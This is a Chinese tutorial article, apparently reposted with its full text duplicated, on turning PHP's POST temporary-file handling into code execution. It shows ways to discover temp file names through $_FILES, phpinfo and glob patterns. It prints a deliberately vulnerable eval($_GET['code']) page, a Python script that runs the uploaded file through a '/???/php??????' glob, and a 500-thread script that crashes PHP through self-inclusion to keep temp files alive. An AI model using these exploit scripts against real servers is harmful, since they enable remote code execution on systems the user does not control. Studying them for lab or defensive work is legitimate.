PHP POST临时文件机制如何实现任意文件上传?

2026-04-06 07:521阅读0评论SEO基础
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1313个文字,预计阅读时间需要6分钟。

PHP POST临时文件机制如何实现任意文件上传?

目录 + 原理 + 如何获取临时文件名 + `$FILES + phpinfo + glob + 如何使用该文件 + 组合请求 + 延长临时文件存在时间 + 参考 + 原理 + 向PHP发送Post数据包,如果数据包中包含文件,PHP中是否有处理

目录
  • 原理
  • 如何获取临时文件名
    • $_FILES
    • phpinfo
    • glob
  • 如何利用该文件
    • 组合请求
    • 延长临时文件存在时间
  • 参考

    原理

    向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件

    • 该文件默认存储在 /tmp 目录中『可通过 php.iniupload_tmp_dir 指定存储位置』
    • 文件名为 php[6个随机字符],例:phpG4ef0q
    • 若本次请求正常结束,临时文件会被自动删除
    • 若非正常结束,比如崩溃,临时文件可能会被永久保留

    文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!

    如何获取临时文件名

    $_FILES

    可以通过 $_FILES 获取文件信息

    Array ( [name] => run.sh [full_path] => run.sh [type] => [tmp_name] => /tmp/phpoFnbQf [error] => 0 [size] => 10 )

    phpinfo

    phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到 $_FILES 变量的内容,从而拿到临时文件名

    glob

    若上述方法都无法实施,在 Linux 中,还可以通过 glob 通配符 定位文件

    glob 简单使用:

    • * :代替 0 个或 任意个字符
    • ? :代替 1 个字符
    • [...]:匹配其中一个字符,例 [a,b,c] 匹配字符
    • a / b / c{a, b}:匹配 a 或者 b

    如何利用该文件

    组合请求

    虽然文件在请求结束后就自动删除了,但是我们可以把执行 shell 和 上传文件 组合在一个请求中,php 代码如下:

    该 php 可以直接执行 shell, 但本例仅为展示如何利用临时文件

    # a.php <?php $code = $_GET['code']; eval($code); ?>

    Python 脚本利用

    # run.sh 文件内容: # echo $PATH import requests # 上传文件同时,执行 shell url = "localhost:8080/a.php?code=echo `. /???/php??????`;" r = requests.post(url, files={'file': open('./run.sh')}) print(r.text) # /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

    延长临时文件存在时间

    部分情况下,我们无法将 上传文件 和 执行shell 组合在一起,利用下述方法使得文件存在更多时间,从而在其他位置进行利用!

    PHP POST临时文件机制如何实现任意文件上传?

    可以通过 文件包含 让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。

    同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!

    基于此,我们便可以编写并发脚本,不断发起 post 文件的请求

    import requests from threading import Thread def test(): url = "localhost:8080/include.php?file=include.php" r = requests.post(url, files={'file': open('./run.sh')}) print(r.text) lst = [] for _ in range(500): t = Thread(target=test) lst.append(t) t.start() for item in lst: item.join()

    可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除

    于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件

    import requests url = "localhost:8080/a.php?code=echo `. /???/php??????`;" r = requests.get(url) print(r.text) # /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

    参考

    无字母数字webshell之提高篇

    www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

    PHP临时文件机制与利用的思考

    www.anquanke.com/post/id/183046

    PHP文件包含漏洞(利用phpinfo)复现

    github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

    glob(7) — Linux manual page

    man7.org/linux/man-pages/man7/glob.7.html

    操作文件和目录

    billie66.github.io/TLCL/book/chap05.html

    到此这篇关于利用PHPPOST临时文件机制实现任意文件上传的文章就介绍到这了,更多相关phppost任意文件上传内容请搜索自由互联以前的文章或继续浏览下面的相关文章希望大家以后多多支持自由互联!

    本文共计1313个文字,预计阅读时间需要6分钟。

    PHP POST临时文件机制如何实现任意文件上传?

    目录 + 原理 + 如何获取临时文件名 + `$FILES + phpinfo + glob + 如何使用该文件 + 组合请求 + 延长临时文件存在时间 + 参考 + 原理 + 向PHP发送Post数据包,如果数据包中包含文件,PHP中是否有处理

    目录
    • 原理
    • 如何获取临时文件名
      • $_FILES
      • phpinfo
      • glob
    • 如何利用该文件
      • 组合请求
      • 延长临时文件存在时间
    • 参考

      原理

      向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件

      • 该文件默认存储在 /tmp 目录中『可通过 php.iniupload_tmp_dir 指定存储位置』
      • 文件名为 php[6个随机字符],例:phpG4ef0q
      • 若本次请求正常结束,临时文件会被自动删除
      • 若非正常结束,比如崩溃,临时文件可能会被永久保留

      文件包含漏洞找不到可以利用的文件时,即可利用这个方法,找到临时文件名,然后包含之!

      如何获取临时文件名

      $_FILES

      可以通过 $_FILES 获取文件信息

      Array ( [name] => run.sh [full_path] => run.sh [type] => [tmp_name] => /tmp/phpoFnbQf [error] => 0 [size] => 10 )

      phpinfo

      phpinfo 页面会将当前请求上下文中所有变量都打印出来,若我们直接向 phpinfo页面送包含文件的 post请求,则即可在返回包里找到 $_FILES 变量的内容,从而拿到临时文件名

      glob

      若上述方法都无法实施,在 Linux 中,还可以通过 glob 通配符 定位文件

      glob 简单使用:

      • * :代替 0 个或 任意个字符
      • ? :代替 1 个字符
      • [...]:匹配其中一个字符,例 [a,b,c] 匹配字符
      • a / b / c{a, b}:匹配 a 或者 b

      如何利用该文件

      组合请求

      虽然文件在请求结束后就自动删除了,但是我们可以把执行 shell 和 上传文件 组合在一个请求中,php 代码如下:

      该 php 可以直接执行 shell, 但本例仅为展示如何利用临时文件

      # a.php <?php $code = $_GET['code']; eval($code); ?>

      Python 脚本利用

      # run.sh 文件内容: # echo $PATH import requests # 上传文件同时,执行 shell url = "localhost:8080/a.php?code=echo `. /???/php??????`;" r = requests.post(url, files={'file': open('./run.sh')}) print(r.text) # /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

      延长临时文件存在时间

      部分情况下,我们无法将 上传文件 和 执行shell 组合在一起,利用下述方法使得文件存在更多时间,从而在其他位置进行利用!

      PHP POST临时文件机制如何实现任意文件上传?

      可以通过 文件包含 让 php 包含自身从而导致死循环,随后 php 守护进程会因内存溢出而崩溃,但是 php 自身是不会因为错误直接退出的,它会清空自己的内存堆栈,以便从错误中恢复,这就保证了 web 服务的正常运转。

      同时该过程也会打断 php 对临时文件的处理,虽然最终仍会被删除,但相较之前可以明显看出临时文件在磁盘的中存在的时间变长了!

      基于此,我们便可以编写并发脚本,不断发起 post 文件的请求

      import requests from threading import Thread def test(): url = "localhost:8080/include.php?file=include.php" r = requests.post(url, files={'file': open('./run.sh')}) print(r.text) lst = [] for _ in range(500): t = Thread(target=test) lst.append(t) t.start() for item in lst: item.join()

      可以看到,当我们在请求时,磁盘中总是存在尚未被删除的临时文件。直至请求停止,文件被全部删除

      于此同时,便可以在其他地方使用上述 glob 路径通配符泛式加载临时文件

      import requests url = "localhost:8080/a.php?code=echo `. /???/php??????`;" r = requests.get(url) print(r.text) # /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

      参考

      无字母数字webshell之提高篇

      www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

      PHP临时文件机制与利用的思考

      www.anquanke.com/post/id/183046

      PHP文件包含漏洞(利用phpinfo)复现

      github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

      glob(7) — Linux manual page

      man7.org/linux/man-pages/man7/glob.7.html

      操作文件和目录

      billie66.github.io/TLCL/book/chap05.html

      到此这篇关于利用PHPPOST临时文件机制实现任意文件上传的文章就介绍到这了,更多相关phppost任意文件上传内容请搜索自由互联以前的文章或继续浏览下面的相关文章希望大家以后多多支持自由互联!